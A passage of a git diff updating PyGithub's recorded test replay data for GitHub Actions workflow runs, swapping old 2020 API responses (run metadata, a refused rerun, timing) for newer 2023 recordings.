-{"id":145732882,"node_id":"MDExOldvcmtmbG93UnVuMTQ1NzMyODgy","head_branch":"typing-get-user","head_sha":"da6adff82e5a027437fd6e8c24ce938d7ec2ec65","run_number":150,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1026390,"url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/145732882","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/145732882","pull_requests":[],"created_at":"2020-06-24T04:53:42Z","updated_at":"2020-06-24T04:56:28Z","jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/145732882/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/145732882/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/834160296","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/145732882/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/145732882/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/145732882/rerun","workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","head_commit":{"id":"da6adff82e5a027437fd6e8c24ce938d7ec2ec65","tree_id":"ec4daf4a45d6efc7e94fe14fb41f1770220477d9","message":"More precise typing for MainClass.get_user()\n\nUse typing.overload for MainClass.get_user() since it can return two\ndisparate types. Correct the docstring for it, as well as locking down\nSphinx to <3 due to built docs issue and drive-by link correction.\n\nFixes #1550","timestamp":"2020-06-24T04:46:51Z","author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"},"committer":{"name":"Steve Kowalik","email":"steven@wedontsleep.org"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":129349732,"node_id":"MDEwOlJlcG9zaXRvcnkxMjkzNDk3MzI=","name":"PyGithub","full_name":"s-t-e-v-e-n-k/PyGithub","private":false,"owner":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars0.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"html_url":"https://github.com/s-t-e-v-e-n-k/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub","forks_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/forks","keys_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/teams","hooks_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/events","assignees_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/tags","blobs_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/languages","stargazers_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/subscription","commits_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/merges","archive_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/downloads","issues_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/s-t-e-v-e-n-k/PyGithub/deployments"}} +[('Server', 'GitHub.com'), ('Date', 'Fri, 13 Jan 2023 13:19:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"f21ec6fcb14acc25564041c0c4db5b83978384c955ada9236f690c06e230a074"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '22'), ('X-RateLimit-Reset', '1673619381'), ('X-RateLimit-Used', '38'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CBC2:0655:4CD6:9C43:63C15A7C')] +{"id":3881497935,"name":"CI","node_id":"WFR_kwLOADYVqs7nWvVP","head_branch":"feat/workflow-run","head_sha":"c6e5cac67a58a4eb11f1f28567a77a6e2cc8ee98","path":".github/workflows/ci.yml","display_title":"TEST PR","run_number":930,"event":"pull_request","status":"completed","conclusion":"success","workflow_id":1903133,"check_suite_id":10279069747,"check_suite_node_id":"CS_kwDOADYVqs8AAAACZK4oMw","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/3881497935","pull_requests":[],"created_at":"2023-01-10T08:24:19Z","updated_at":"2023-01-10T08:28:20Z","actor":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2023-01-10T08:24:19Z","triggering_actor":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/10279069747","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3881497935/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1903133","head_commit":{"id":"c6e5cac67a58a4eb11f1f28567a77a6e2cc8ee98","tree_id":"3ce398f9ee2571549b7fea545bfa5bf28e3ca0f5","message":"add attribute 'name' on WorkflowRun","timestamp":"2023-01-10T08:08:37Z","author":{"name":"Sasha Chung","email":"sasha.chung@bucketplace.net"},"committer":{"name":"Sasha Chung","email":"sasha.chung@bucketplace.net"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":587206601,"node_id":"R_kgDOIwAPyQ","name":"PyGithub","full_name":"nuang-ee/PyGithub","private":false,"owner":{"login":"nuang-ee","id":50770626,"node_id":"MDQ6VXNlcjUwNzcwNjI2","avatar_url":"https://avatars.githubusercontent.com/u/50770626?v=4","gravatar_id":"","url":"https://api.github.com/users/nuang-ee","html_url":"https://github.com/nuang-ee","followers_url":"https://api.github.com/users/nuang-ee/followers","following_url":"https://api.github.com/users/nuang-ee/following{/other_user}","gists_url":"https://api.github.com/users/nuang-ee/gists{/gist_id}","starred_url":"https://api.github.com/users/nuang-ee/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nuang-ee/subscriptions","organizations_url":"https://api.github.com/users/nuang-ee/orgs","repos_url":"https://api.github.com/users/nuang-ee/repos","events_url":"https://api.github.com/users/nuang-ee/events{/privacy}","received_events_url":"https://api.github.com/users/nuang-ee/received_events","type":"User","site_admin":false},"html_url":"https://github.com/nuang-ee/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/nuang-ee/PyGithub","forks_url":"https://api.github.com/repos/nuang-ee/PyGithub/forks","keys_url":"https://api.github.com/repos/nuang-ee/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/nuang-ee/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/nuang-ee/PyGithub/teams","hooks_url":"https://api.github.com/repos/nuang-ee/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/nuang-ee/PyGithub/events","assignees_url":"https://api.github.com/repos/nuang-ee/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/nuang-ee/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/nuang-ee/PyGithub/tags","blobs_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/nuang-ee/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/nuang-ee/PyGithub/languages","stargazers_url":"https://api.github.com/repos/nuang-ee/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/nuang-ee/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/nuang-ee/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/nuang-ee/PyGithub/subscription","commits_url":"https://api.github.com/repos/nuang-ee/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/nuang-ee/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/nuang-ee/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/nuang-ee/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/nuang-ee/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/nuang-ee/PyGithub/merges","archive_url":"https://api.github.com/repos/nuang-ee/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/nuang-ee/PyGithub/downloads","issues_url":"https://api.github.com/repos/nuang-ee/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/nuang-ee/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/nuang-ee/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/nuang-ee/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/nuang-ee/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/nuang-ee/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/nuang-ee/PyGithub/deployments"}} https POST api.github.com None -/repos/PyGithub/PyGithub/actions/runs/145732882/rerun +/repos/PyGithub/PyGithub/actions/runs/3881497935/rerun {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 403 -[('Date', 'Fri, 26 Jun 2020 04:57:25 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '403 Forbidden'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4965'), ('X-RateLimit-Reset', '1593150230'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D19E:244B:1BE4BB:2053BE:5EF58035')] -{"message":"This workflow run cannot be rerun","documentation_url":"https://developer.github.com/v3/actions/workflow_runs/#re-run-a-workflow"} - +[('Server', 'GitHub.com'), ('Date', 'Fri, 13 Jan 2023 13:19:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '21'), ('X-RateLimit-Reset', '1673619381'), ('X-RateLimit-Used', '39'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CBC3:1685:81F1:D1C6:63C15A7C')] +{"message":"Must have admin rights to Repository.","documentation_url":"https://docs.github.com/rest/reference/actions#re-run-a-workflow"} diff --git a/tests/ReplayData/WorkflowRun.test_timing.txt b/tests/ReplayData/WorkflowRun.test_timing.txt index afb199ef43..a84d7c0ddc 100644 --- a/tests/ReplayData/WorkflowRun.test_timing.txt +++ b/tests/ReplayData/WorkflowRun.test_timing.txt @@ -2,10 +2,9 @@ https GET api.github.com None -/repos/PyGithub/PyGithub/actions/runs/148274629/timing +/repos/PyGithub/PyGithub/actions/runs/3881497935/timing {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 -[('Date', 'Fri, 26 Jun 2020 05:25:09 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4935'), ('X-RateLimit-Reset', '1593150231'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"d5c60782b947caaf365ec6da07f69a32"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '9F74:5067:1B8264:1FF1A4:5EF586B5')] -{"billable":{},"run_duration_ms":105000} - +[('Server', 'GitHub.com'), ('Date', 'Fri, 13 Jan 2023 13:19:58 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"8ec19a979b8290796ff8c533ce429b277e20807aa5b771b658a04c6375422fb3"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '18'), ('X-RateLimit-Reset', '1673619381'), ('X-RateLimit-Used', '42'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CBC6:0299:F963:14A67:63C15A7D')] +{"billable":{"UBUNTU":{"total_ms":0,"jobs":5,"job_runs":[{"job_id":10545727758,"duration_ms":0},{"job_id":10545727888,"duration_ms":0},{"job_id":10545728039,"duration_ms":0},{"job_id":10545728190,"duration_ms":0},{"job_id":10545728356,"duration_ms":0}]}},"run_duration_ms":241000} diff --git a/tests/Repository.py 